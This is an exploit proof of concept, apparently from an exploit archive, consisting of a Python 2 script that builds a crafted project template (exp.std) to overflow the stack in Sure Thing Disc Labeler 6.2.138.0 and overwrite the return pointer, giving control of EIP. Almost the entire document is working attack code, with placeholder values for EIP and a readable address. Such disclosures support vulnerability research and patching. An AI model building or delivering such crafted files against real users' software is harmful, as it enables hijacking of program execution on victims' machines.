Sure Thing Disc Labeler 6.2.138.0 Buffer Overflow

`# Exploit Title: Sure Thing Disc Labeler - Stack Buffer Overflow (PoC)  
# Date: 5-19-17  
# Exploit Author: Chance Johnson ([email protected])  
# Vendor Homepage: http://www.surething.com/  
# Software Link: http://www.surething.com/disclabeler  
# Version: 6.2.138.0  
# Tested on: Windows 7 x64 / Windows 10  
#  
# Usage:   
# Open the project template generated by this script.  
# If a readable address is placed in AVread, no exception will be thrown  
# and a return pointer will be overwritten giving control over EIP when  
# the function returns.  
  
header = '\x4D\x56\x00\xFF\x0C\x00\x12\x00\x32\x41\x61\x33\x08\x00\x5E\x00'  
header += '\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62'  
header += '\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35'  
header += '\x41\x62\x36\x41\x78\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41'  
header += '\x0C\x00\x41\x63\x78\x1F\x00\x00\x41\x63\x34\x41\x63\x35\x41\x63'  
  
junk1 = 'D'*10968  
EIP = 'A'*4 # Direct RET overwrite  
junk2 = 'D'*24  
AVread = 'B'*4 # address of any readable memory  
junk3 = 'D'*105693  
  
buf = header + junk1 + EIP + junk2 + AVread + junk3  
  
print "[+] Creating file with %d bytes..." % len(buf)  
  
f=open("exp.std",'wb')  
f.write(buf)  
f.close()  
  
`